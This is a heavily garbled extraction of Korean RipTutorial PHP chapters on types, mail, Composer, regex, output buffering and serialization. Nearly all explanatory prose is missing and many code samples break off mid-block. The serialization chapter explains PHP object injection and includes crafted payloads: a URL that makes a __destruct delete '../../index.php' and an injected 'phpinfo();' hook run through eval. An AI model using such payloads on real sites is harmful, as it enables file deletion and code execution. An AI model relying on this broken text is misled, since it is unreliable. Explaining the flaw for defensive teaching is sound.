https://riptutorial.com/ko/home 342
82:
Examples
PHP 2 (2 ), 8 (8 ), 10 (10 ) 16 (16 ) .
$my_decimal = 42;
$my_binary = 0b101010;
$my_octal = 052;
$my_hexadecimal = 0x2a;
, . (int) (integer) .
$my_numeric_string = "123";
var_dump($my_numeric_string);
// Output: string(3) "123"
$my_integer = (int)$my_numeric_string;
var_dump($my_integer);
// Output: int(123)
float .
$too_big_integer = PHP_INT_MAX + 7;
var_dump($too_big_integer);
// Output: float(9.2233720368548E+18)
$not_an_integer = 25 / 4;
var_dump($not_an_integer);
// Output: float(6.25)
var_dump((int) (25 / 4)); // (see note below)
// Output: int(6)
var_dump(intdiv(25 / 4)); // as of PHP7
// Output: int(6)
( (int) (25 / 4) )
PHP (, ).
https://riptutorial.com/ko/home 343
$my_string = 'Nothing is parsed, except an escap\'d apostrophe or backslash. $foo\n';
var_dump($my_string);
/*
string(68) "Nothing is parsed, except an escap'd apostrophe or backslash. $foo\n"
*/
. ( ) .
$variable1 = "Testing!";
$variable2 = [ "Testing?", [ "Failure", "Success" ] ];
$my_string = "Variables and escape characters are parsed:\n\n";
$my_string .= "$variable1\n\n$variable2[0]\n\n";
$my_string .= "There are limits: $variable2[1][0]";
$my_string .= "But we can get around them by wrapping the whole variable in braces:
{$variable2[1][1]}";
var_dump($my_string);
/*
string(98) "Variables and escape characters are parsed:
Testing!
Testing?
But we can get around them by wrapping the whole variable in braces: Success
*/
Heredoc
heredoc . <<< identifier identifier identifier . identifier PHP . . PHP .
/*
string(268) "Everything is parsed in the same fashion as a double-quoted string,
but there are advantages. Including text blocks is easier; database queries and HTML output
can benefit from this formatting.
Once we hit a line containing nothing but the identifier, the string ends."
*/
Nowdoc
https://riptutorial.com/ko/home 344
nowdoc heredoc . .
/*
string(116) "A similar syntax to heredoc but, similar to single quoted strings,
nothing is parsed (not even escaped apostrophes \' and backslashes \\.)"
*/
true false .
$foo = true;
$bar = false;
if .
true .
=== . .
(bool) (boolean) .
boolval .
( false ).
https://riptutorial.com/ko/home 345
var_dump( (string) true ); // string(1) "1"
var_dump( (string) false ); // string(0) ""
0 true .
$float = 0.123;
float .
PHP .
$sum = 3 + 0.14;
$var = 1;
echo ((float) $var); //returns 1 not 1.0
( PHP )
. PHP 1.11e-16 . .
. gmp .
. "" :
https://riptutorial.com/ko/home 346
•
• PHP ( : )
• ( )
• /
• 0
$callable = function () {
return 'value';
};
call_something($callable);
null :
null :
Null
null Notice: Undefined variable: nullvar Notice: Undefined variable: nullvar :
$nullvar = null;
unset($nullvar);
if ($nullvar === null) { /* true but also a Notice is printed */ }
https://riptutorial.com/ko/home 347
if (is_null($nullvar)) { /* true but also a Notice is printed */ }
isset .
. == === . .
// Loose comparisons
var_dump(1 == 1); // true
var_dump(1 == "1"); // true
var_dump(1 == true); // true
var_dump(0 == false); // true
// Strict comparisons
var_dump(1 === 1); // true
var_dump(1 === "1"); // false
var_dump(1 === true); // false
var_dump(0 === false); // false
!== .
PHP . .
$bool = true;
var_dump($bool); // bool(true)
https://riptutorial.com/ko/home 348
$object = new stdClass();
$object->x = 'y';
var_dump((array) $object); // array(1) { ["x"]=> string(1) "y" }
$string = "asdf";
var_dump((unset)$string); // NULL
: .
(:,,, ) .
echo gettype($file);
# Out: resource
echo $file;
# Out: Resource id #2
() . get_resource_type() .
PHP . . . .
$a = "2"; // string
$a = $a + 2; // integer (4)
$a = $a + 0.5; // float (4.5)
$a = 1 + "2 oranges"; // integer (3)
: https://riptutorial.com/ko/php/topic/232/
https://riptutorial.com/ko/home 349
83:
Examples
?
PHP ., ( ) . .
PHP . 1 ., . . PHP , .
if (1 == $variable) {
// do something
}
bool (true)
, . .
fclose ($handle);
false
https://riptutorial.com/ko/home 350
while .
false .
. .
while (!feof($handle)) {
$data = fgets($handle);
echo ("Current file line is $data\n");
}
$filedata = file("/path/to/my/file");
foreach ($filedata as $data) {
echo ("Current file line is $data\n");
}
switch . . , .
switch ($name) {
case 'input 1':
$mode = 'output_1';
break;
case 'input 2':
$mode = 'output_2';
break;
default:
$mode = 'unknown';
break;
}
switch ((string)$name) {
...
}
switch (strval($name)) {
...
}
https://riptutorial.com/ko/home 351
case .
switch
if .
declare(strict_types=1);
<?php
declare(strict_types=1);
. .
<?php
declare(strict_types=1);
returner("this is a string");
: https://riptutorial.com/ko/php/topic/2758/------
https://riptutorial.com/ko/home 352
84:
• f (ClassName $ param) {}
• function f (bool $ param) {}
• function f (int $ param) {}
• f (float $ param) {}
• function f (string $ param) {}
• f (self $ param) {}
• f (callable $ param) {}
• function f (array $ param) {}
• function f (? type_name $ param) {}
• f () : type_name {}
• f () : void {}
• f () :? type_name {}
. . .
Examples
,
is_callable() .
PHP 7 5 E_STRICT .
. callable .
class Foo{
https://riptutorial.com/ko/home 353
private static function f(){
echo "Good" . PHP_EOL;
}
Foo::r(["Foo", "f"]);
r(["Foo", "f"]);
: Uncaught TypeError : r () 1 .
<?php
declare(strict_types=1); PHP .
<?php
declare(strict_types=1);
var_dump(add(1.5, 2));
:
PHP resource resource . .
https://riptutorial.com/ko/home 354
PHP ( stdClass ) .
, .
<?php
class ClassOne {}
class ClassTwo {}
doSomething($classOne);
doSomething($classTwo);
, , () .
<?php
interface Object {}
doSomething($classOne);
doSomething($classTwo);
PHP 5 .
<?php
class Student
{
public $name = 'Chris';
}
class School
{
public $name = 'University of Edinburgh';
}
https://riptutorial.com/ko/home 355
function enroll(Student $student, School $school)
{
echo $student->name . ' is being enrolled at ' . $school->name;
}
enroll($student, $school);
<?php
enroll($chris, $edinburgh);
self .
()
https://riptutorial.com/ko/home 356
}
void .
return .
Nullable
f(null); // valid
g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given
f(null); // valid
g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given
f(); // OK
g(); // TypeError: Return value of g() must be of the type string or null, none returned
h(); // TypeError: Return value of h() must be of the type string or null, none returned
: https://riptutorial.com/ko/php/topic/1430/-
https://riptutorial.com/ko/home 357
85:
pecl memcache .
Examples
memcache
if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->connect('localhost',11211);
}else {
print "Not connected to cache server";
}
Memcache memcached .
, .
if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->addServer('192.168.0.100',11211);
$cache->addServer('192.168.0.101',11211);
}
1. : memcached
2. : memcached
3. : memcached .
$cache
https://riptutorial.com/ko/home 358
memcached get .
$value = $cache->get($key);
null .
$cache->delete($key);
. . SQL memcached . .
if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->connect('localhost',11211);
if(($data = $cache->get('posts')) != null) {
// Cache hit
// Render from cache
} else {
// Cache miss
// Query database and save results to database
// Assuming $posts is array of posts retrieved from database
$cache->set('posts', $posts,0,$ttl);
}
}else {
die("Error while connecting to cache server");
}
APC
apc_delete($key);
if (apc_exists($key)) {
https://riptutorial.com/ko/home 359
echo "Key exists: ";
echo apc_fetch($key);
} else {
echo "Key does not exist";
apc_add ($key, $value , $ttl);
}
APC Memcached 5 .
: https://riptutorial.com/ko/php/topic/5470/
https://riptutorial.com/ko/home 360
86:
DI (Dependency Injection) " " . / . (Dependency Injection) (Dependency Injection
Containers) .
Examples
. . . , .
, Component Logger , . .
interface Logger {
public function log(string $message);
}
class Component {
private $logger;
class Component {
private $logger;
new . .
, . , Logger .
interface Logger {
public function log($message);
}
class Component {
private $logger;
private $databaseConnection;
https://riptutorial.com/ko/home 361
$this->logger = $logger;
}
DatabaseConnection . Logger .
. . FileLogger MailLogger . . .
setter injection :
interface Logger {
public function log($message);
}
class Component {
private $loggers = array();
private $databaseConnection;
. .
, DIC .
https://riptutorial.com/ko/home 362
namespace Documentation;
class Example
{
private $meaning;
... .
DIC .
•
• .
•
, .
: https://riptutorial.com/ko/php/topic/779/-
https://riptutorial.com/ko/home 363
87:
Examples
apt
brew brewformulas.org/Imagemagick .
imagemagick .
<?php
echo $imagen;
?>
base64
<?php
/**
* This loads in the file, image.jpg for manipulation.
* The filename path is releative to the .php file containing this code, so
* in this example, image.jpg should live in the same directory as our script.
*/
$img = new Imagick('image.jpg');
/**
* This resizes the image, to the given size in the form of width, height.
* If you want to change the resolution of the image, rather than the size
* then $img->resampleimage(320, 240) would be the right function to use.
*
* Note that for the second parameter, you can set it to 0 to maintain the
* aspect ratio of the original image.
*/
$img->resizeImage(320, 240);
/**
* This returns the unencoded string representation of the image
*/
$imgBuff = $img->getimageblob();
https://riptutorial.com/ko/home 364
/**
* This clears the image.jpg resource from our $img object and destroys the
* object. Thus, freeing the system resources allocated for doing our image
* manipulation.
*/
$img->clear();
/**
* This creates the base64 encoded version of our unencoded string from
* earlier. It is then output as an image to the page.
*
* Note, that in the src attribute, the image/jpeg part may change based on
* the image type you're using (i.e. png, jpg etc).
*/
$img = base64_encode($imgBuff);
echo "<img alt='Embedded Image' src='data:image/jpeg;base64,$img' />";
: https://riptutorial.com/ko/php/topic/7682/-
https://riptutorial.com/ko/home 365
88:
string $to
string $subject
string $message
string $additional_headers :
string $additional_parameters :
.?
• .
• PHP .
• mail() ? .
• ( ). .
.?
• ( " ") ? .
• ? . Spamhaus IP . MX Toolbox .
• PHP mail () . .
Examples
- ,
1. ( )
2.
3.
1. ()
2.
https://riptutorial.com/ko/home 366
()
3. () ( : )
. mail() (: ).
mail() . .
• From
• Reply-To
• X-Mailer PHP X-Mailer .
$message = 'This is the email message body'; // Could also be $message = $_POST['message'];
$headers = implode("\r\n", [
'From: John Conde <[email protected]>',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION
]);
$fifth = '[email protected]';
HTML . :
1. MIME-Version
2. Content-Type
3. HTML .
$to = '[email protected]';
$subject = 'Email Subject';
$message = '<html><body>This is the email message body</body></html>';
$headers = implode("\r\n", [
'From: John Conde <[email protected]>',
'Reply-To: [email protected]',
'MIME-Version: 1.0',
'Content-Type: text/html; charset=ISO-8859-1',
'X-Mailer: PHP/' . PHP_VERSION
https://riptutorial.com/ko/home 367
]);
PHP mail() .
<?php
error_reporting(-1);
ini_set('display_errors', 'On');
set_error_handler("var_dump");
// Special mail settings that can make mail less likely to be considered spam
// and offers logging in case of technical difficulties.
ini_set("mail.log", "/tmp/mail.log");
ini_set("mail.add_x_header", TRUE);
$to = '[email protected]';
$subject = 'Email Subject';
$message = 'This is the email message body';
$headers = implode("\r\n", [
'From: [email protected]',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION
]);
if ($result) {
}
else {
• mail()
• PHP mail()
• PHP .
• ?
• SMTP
•
https://riptutorial.com/ko/home 368
• PHPMailer
• SwiftMailer
• PEAR :: Mail
• (Windows)
• / /
mail () HTML
<?php
$to = '[email protected]';
$subject = 'Sending an HTML email using mail() in PHP';
$message = '<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>';
$headers = implode("\r\n", [
"From: John Conde <[email protected]>",
"Reply-To: [email protected]",
"X-Mailer: PHP/" . PHP_VERSION,
"MIME-Version: 1.0",
"Content-Type: text/html; charset=UTF-8"
]);
. HTML HTML .:
• MIME : 1.0
• Content-Type : text / html; charset = UTF-8
PHPMailer
<?php
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email using PHPMailer.";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
https://riptutorial.com/ko/home 369
, ,
<?php
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->addAddress("[email protected]", "Recepient Name");
$mail->addAddress("[email protected]");
$mail->addCC("[email protected]");
$mail->addBCC("[email protected]");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email using PHPMailer.";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
mail ()
<?php
$to = '[email protected]';
$subject = 'Email Subject';
$message = 'This is the email message body';
$attachment = '/path/to/your/file.pdf';
$content = file_get_contents($attachment);
https://riptutorial.com/ko/home 370
// headers
$headers = implode("\r\n", [
'From: [email protected]',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION,
'MIME-Version: 1.0',
// boundary parameter required, must be enclosed by quotes
'Content-Type: multipart/mixed; boundary="' . $boundary . '"',
"Content-Transfer-Encoding: 7bit",
"This is a MIME encoded message." // message for restricted transports
]);
if ($result) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
PHPMailer HTML
<?php
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
https://riptutorial.com/ko/home 371
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->addAddress("[email protected]", "Recepient Name");
$mail->addAddress("[email protected]");
$mail->addCC("[email protected]");
$mail->addBCC("[email protected]");
$mail->Subject = "Subject Text";
$mail->isHTML(true);
$mail->Body = "<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>";
$mail->AltBody = "This paragraph is not bold.\n\nThis text is not italic.";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
PHPMailer
<?php
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email with an attachment using PHPMailer.";
// Add Second Attachment, run-time created. ie: CSV to be open with Excel
$csvHeader = "header1,header2,header3";
$csvData = "row1col1,row1col2,row1col3\nrow2col1,row2col2,row2col3";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
https://riptutorial.com/ko/home 372
Sendgrid
<?php
$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setText("This is a sample basic text email using ");
$sendgrid->send($email);
, ,
<?php
$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setHtml("<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>");
$sendgrid->send($email);
Sendgrid
<?php
$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setText("This is a sample basic text email using ");
$attachment = '/path/to/your/file.pdf';
$content = file_get_contents($attachment);
$content = chunk_split(base64_encode($content));
https://riptutorial.com/ko/home 373
$attachment->setFilename("RenamedFile.pdf");
$attachment->setDisposition("attachment");
$email->addAttachment($attachment);
$sendgrid->send($email);
: https://riptutorial.com/ko/php/topic/458/-
https://riptutorial.com/ko/home 374
89:
Examples
$ end
<?php
if (true) {
echo "asdf";
?>
. . .
boolean fetch_assoc
(PHP / MySQL ) . .
$row = $result->fetch_assoc();
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server
version for the right syntax to use near 'SELCT * FROM db' at line 1
https://riptutorial.com/ko/home 375
mysql_fetch_assoc :
$john = true;
mysqli_fetch_assoc($john, $mysqli); // this makes no sense??
: https://riptutorial.com/ko/php/topic/3830/-
https://riptutorial.com/ko/home 376
90:
•
• spl_autoload_require
Examples
,
// zoo.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
// zoo.php
require 'Animal.php';
$animal = new Animal;
$animal->eats('slop');
// aquarium.php
require 'Animal.php';
$animal = new Animal;
$animal->eats('shrimp');
. ( "Animal.php") . "" . . .
// autoload.php
spl_autoload_register(function ($class) {
require_once "$class.php";
https://riptutorial.com/ko/home 377
});
// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
// zoo.php
require 'autoload.php';
$animal = new Animal;
$animal->eats('slop');
// aquarium.php
require 'autoload.php';
$animal = new Animal;
$animal->eats('shrimp');
// autoload.php
spl_autoload_register(function ($class) {
require_once "$class.php";
});
// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
// Ruminant.php
class Ruminant extends Animal {
public function eats($food) {
if ('grass' === $food) {
parent::eats($food);
} else {
echo "Yuck, $food!";
}
}
}
// Cow.php
class Cow extends Ruminant {
}
// pasture.php
require 'autoload.php';
$animal = new Cow;
$animal->eats('grass');
. . ".php" . .
require
https://riptutorial.com/ko/home 378
. .
Composer
vendor/autoload.php .
composer.json .
{
"autoload": {
"psr-4": {"YourApplicationNamespace\\": "src/"}
}
}
: https://riptutorial.com/ko/php/topic/388/--
https://riptutorial.com/ko/home 379
91:
PHP . npm , Python pip .NET NuGet .
, irc .
require-dev .
, .
- dev .
. PSR-0 PSR-4 .
• Packagist - (Composer ) .
•
•
1. Composer xdebug .
2. Composer root . .
Examples
?
PHP / . , . Composer .
composer.json . .
composer.json .
composer.json
https://riptutorial.com/ko/home 380
require Composer . require ( : monolog / monolog ) ( : 1.0. *) .
{
"require": {
"composer/composer": "1.2.*"
}
}
Composer
PHP ( : Packagist ) .
composer.json .
{
// ...
"autoload": {
"psr-4": {
"MyVendorName\\MyProject": "src/"
},
"files": [
"src/functions.php"
]
},
"autoload-dev": {
"psr-4": {
"MyVendorName\\MyProject\\Tests": "tests/"
}
}
}
require require .
autoload.php composer.json .
• MyVendorName\MyProject\Shapes\Square ➔ src/Shapes/Square.php .
• MyVendorName\MyProject\Tests\Shapes\Square ➔ tests/Shapes/Square.php .
https://riptutorial.com/ko/home 381
composer.lock , , composer install .
Composer .
<?php
composer update
, :
"require": {
"laravelcollective/html": "2.0.*"
}
composer update :
• composer.json
• composer.json .
• .
• .
• composer.lock .
composer install
• composer.lock
• composer.lock .
https://riptutorial.com/ko/home 382
• composer update '' .
URL .
- .
dumpautoload .
dir ($ COMPOSER_HOME) .
URL .
composer.json .
composer.lock , composer.json .
require require-dev .
composer.json .
composer.json .
composer.phar .
https://riptutorial.com/ko/home 383
composer.phar .
composer.json composer.lock .
composer.json composer.lock .
? .
Composer , .
mv composer.phar /usr/local/bin/composer
composer install
: https://riptutorial.com/ko/php/topic/1053/--
https://riptutorial.com/ko/home 384
92: (regexp / PCRE)
• preg_replace($pattern, $replacement, $subject, $limit = -1, $count = 0);
• preg_replace_callback($pattern, $callback, $subject, $limit = -1, $count = 0);
• preg_match($pattern, $subject, &$matches, $flags = 0, $offset = 0);
• preg_match_all($pattern, $subject, &$matches, $flags = PREG_PATTERN_ORDER, $offset = 0);
• preg_split($pattern, $subject, $limit = -1, $flags = 0)
$pattern (PCRE )
PCRE , , , / .
PCRE $ .
<?php
Examples
preg_match .
https://riptutorial.com/ko/home 385
//[0-9]: Any single character in the range 0 to 9
// + : One or more of 0 to 9
$array = preg_split("/[0-9]+\|/", $string, -1, PREG_SPLIT_NO_EMPTY);
//Or
// [] : Character class
// \d : Any digit
// + : One or more of Any digit
$array = preg_split("/[\d]+\|/", $string, -1, PREG_SPLIT_NO_EMPTY);
Array
(
[0] => PHP
[1] => CSS
[2] => HTML
[3] => AJAX
[4] => JSON
)
( flags ) PREG_SPLIT_NO_EMPTY / .
$string = "a;b;c\nd;e;f";
// $1, $2 and $3 represent the first, second and third capturing groups
echo preg_replace("(^([^;]+);([^;]+);([^;]+)$)m", "$3;$2;$1", $string);
c;b;a
f;e;d
RegExp
preg_match_all .
https://riptutorial.com/ko/home 386
// And for reference, same regexp run through preg_match()
preg_match($pattern, $subject, $matches);
var_dump($matches);
PREG_SET_ORDER var_dump .
array(3) {
[0]=>
array(2) {
[0]=>
string(3) "a1b"
[1]=>
string(1) "1"
}
[1]=>
array(2) {
[0]=>
string(3) "c2d"
[1]=>
string(1) "2"
}
[2]=>
array(2) {
[0]=>
string(3) "f4g"
[1]=>
string(1) "4"
}
}
$matches 3 . preg_match .
var_dump ( PREG_PATTERN_ORDER ) :
array(2) {
[0]=>
array(3) {
[0]=>
string(3) "a1b"
[1]=>
string(3) "c2d"
[2]=>
string(3) "f4g"
}
[1]=>
array(3) {
[0]=>
string(1) "1"
[1]=>
string(1) "2"
[2]=>
string(1) "4"
}
}
https://riptutorial.com/ko/home 387
array(2) {
[0] =>
string(3) "a1b"
[1] =>
string(1) "1"
}
preg_replace_callback . .
$subject = "He said 123abc, I said 456efg, then she said 789hij";
$regex = "/\b(\d+)\w+/";
print_r($replaced_str);
# He said <i>123abc</i>, I said <i>456efg</i>, then she said <b>789hij</b>
https://riptutorial.com/ko/home 388
93:
• : / * code * / endstructure;
Examples
<?php
?>
<?php
while ($condition):
do_something();
endwhile;
?>
foreach
<?php
?>
switch
<?php
https://riptutorial.com/ko/home 389
switch ($condition):
case $value:
do_something();
break;
default:
do_something_else();
break;
endswitch;
?>
if / else
<?php
if ($condition):
do_something();
elseif ($another_condition):
do_something_else();
else:
do_something_different();
endif;
?>
: https://riptutorial.com/ko/php/topic/1199/---
https://riptutorial.com/ko/home 390
94:
PHP . . PHP .
Examples
<?php
$visit = 1;
if(file_exists("counter.txt"))
{
$fp = fopen("counter.txt", "r");
$visit = fread($fp, 4);
$visit = $visit + 1;
}
: https://riptutorial.com/ko/php/topic/8220/
https://riptutorial.com/ko/home 391
95:
• serialize ( $ )
[..] .
s:[size of string]:[value]
i:[value]
d:[value]
Examples
.
PHP .
PHP unserialize () .
// Output:
// s:11:"Hello world";
$double = 1.5;
echo serialize($double);
// Output:
// d:1.5;
https://riptutorial.com/ko/home 392
float
.
$integer = 65;
echo serialize($integer);
// Output:
// i:65;
boolean
$boolean = true;
echo serialize($boolean);
// Output:
// b:1;
$boolean = false;
echo serialize($boolean);
// Output:
// b:0;
null
$null = null;
echo serialize($null);
// Output:
// N;
$array = array(
25,
'String',
'Array'=> ['Multi Dimension','Array'],
'boolean'=> true,
'Object'=>$obj, // $obj from above Example
null,
3.445
);
echo serialize($array);
https://riptutorial.com/ko/home 393
// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi
Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449
class abc {
var $i = 1;
function foo() {
return 'hello world';
}
}
// Output:
// O:3:"abc":1:{s:1:"i";i:1;}
.
$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"
unserialize .
php.net
• PHP
PHP
https://riptutorial.com/ko/home 394
. .
1-
__destruct PHP .
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
$user_data = unserialize($_GET['data']);
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
2-
__wakeup PHP .
class Example2
{
private $hook;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
$user_data = unserialize($_COOKIE['data']);
https://riptutorial.com/ko/home 395
HTTP .
Connection: close
"data" :
class Example2
{
private $hook = "phpinfo();";
}
: https://riptutorial.com/ko/php/topic/2487/
https://riptutorial.com/ko/home 396
96:
• $foo = 1; $bar = &$foo; // both $foo and $bar point to the same value: 1
• $var = 1; function calc(&$var) { $var *= 15; } calc($var); echo $var;
. .
$foo = 1;
$bar = &$foo;
$baz = &$bar;
unset($bar);
$baz++;
Examples
. .
$foo = &$bar;
array() . .
$foo = 'hi';
$bar = array(1, 2);
$array = array(&$foo, &$bar[0]);
. () . .
" " .
function incrementArray(&$arr) {
foreach ($arr as &$val) {
$val++;
}
}
function &getArray() {
static $arr = [1, 2, 3];
return $arr;
}
incrementArray(getArray());
var_dump(getArray()); // prints an array [2, 3, 4]
https://riptutorial.com/ko/home 397
. / . bar() $a .
. return by reference . . .
PHP .
function parent(&$var) {
echo $var;
$var = "updated";
}
function &child() {
static $a = "test";
return $a;
}
. .
function &myFunction() {
static $a = 'foo';
return $a;
}
$bar = &myFunction();
$bar = "updated"
echo myFunction();
. echo &myFunction(); .
• , foo(new SomeClass)
•
https://riptutorial.com/ko/home 398
" " . & => &$myElement .
1 .
foreach($arr as &$num) {
$num++;
}
$arr . .
print_r($arr);
foreach($myArray as &$num) {
$num++;
}
unset($num);
. StackOverflow .
. .
$var = 5;
// define
function add(&$var) {
$var++;
}
// call
add($var);
echo .
echo $var;
PHP .
: https://riptutorial.com/ko/php/topic/3468/-
https://riptutorial.com/ko/home 399
97:
ob_start () . .
ob_get_contents () ob_start() .
ob_end_clean () .
ob_get_level () .
ob_flush () .
ob_implicit_flush () .
ob_end_flush () .
Examples
(, HTML ) . php .
<?php
print($content);
ob_get_level() (nest) .
https://riptutorial.com/ko/home 400
<?php
$i = 1;
$output = null;
while( $i <= 5 ) {
// Each loop, creates a new output buffering `level`
ob_start();
print "Current nest level: ". ob_get_level() . "\n";
$i++;
}
// Get clean will `pop` the contents of the top most level (5)
$output .= ob_get_clean();
print $output;
// For each level we went up, come back down and get the buffer
while( $i > 2 ) {
print "Current nest level: " . ob_get_level() . "\n";
echo ob_get_clean();
$i--;
}
, .
$items_li_html .
<?php
foreach($items as $item):
https://riptutorial.com/ko/home 401
?>
<li><?php echo $item ?></li>
<?php
// Back in PHP land
endforeach;
<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. -->
<ul class="header-nav">
<?php echo $items_li_html ?>
</ul>
PHP 2 .
<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. -->
<ul class="header-nav">
<li>Home</li>
<li>Blog</li>
<li>FAQ</li>
<li>Contact</li>
</ul>
ob_start();
$user_count = 0;
foreach( $users as $user ) {
if( $user['access'] != 7 ) { continue; }
?>
<li class="users user-<?php echo $user['id']; ?>">
<a href="<?php echo $user['link']; ?>">
<?php echo $user['name'] ?>
</a>
</li>
<?php
$user_count++;
}
$users_html = ob_get_clean();
if( !$user_count ) {
header('Location: /404.php');
https://riptutorial.com/ko/home 402
exit();
}
?>
<html>
<head>
<title>Level 7 user results (<?php echo $user_count; ?>)</title>
</head>
<body>
<h2>We have a total of <?php echo $user_count; ?> users with access level 7</h2>
<ul class="user-list">
<?php echo $users_html; ?>
</ul>
</body>
</html>
$users 7 .
header() .
, .
<?php
ob_start();
?>
<html>
<head>
<title>Example invoice</title>
</head>
<body>
<h1>Invoice #0000</h1>
<h2>Cost: £15,000</h2>
...
</body>
</html>
<?php
$html = ob_get_clean();
, , echo $html;
ob_start() .
<?php
function clearAllWhiteSpace($buffer) {
return str_replace(array("\n", "\t", ' '), '', $buffer);
}
ob_start('clearAllWhiteSpace');
?>
<h1>Lorem Ipsum</h1>
https://riptutorial.com/ko/home 403
<p><strong>Pellentesque habitant morbi tristique</strong> senectus et netus et malesuada fames
ac turpis egestas. <a href="#">Donec non enim</a> in turpis pulvinar facilisis.</p>
<ol>
<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</li>
<li>Aliquam tincidunt mauris eu risus.</li>
</ol>
<?php
/* Output will be flushed and processed when script ends or call
ob_end_flush();
*/
<h1>LoremIpsum</h1><p><strong>Pellentesquehabitantmorbitristique</strong>senectusetnetusetmalesuadafame
/**
* Enables output buffer streaming. Calling this function
* immediately flushes the buffer to the client, and any
* subsequent output will be sent directly to the client.
*/
function _stream() {
ob_implicit_flush(true);
ob_end_flush();
}
ob_start
ob_start . .
Hello!
<?php
header("Location: somepage.php");
?>
<?php
ob_start();
?>
<?php
ob_end_flush();
?>
https://riptutorial.com/ko/home 404
. headers already sent .
: https://riptutorial.com/ko/php/topic/541/-
https://riptutorial.com/ko/home 405
98: PHP
Examples
Linux
PHP :
• ( "make" C )
• ANSI C
• PHP
( apt-get install , yum install ) PHP PHP phpize PHP -dev . php5-dev php7-dev
. .
, pecl.php.net .
PHP
PHP SAPI php.ini extension=yaml.so PHP . yaml.so .
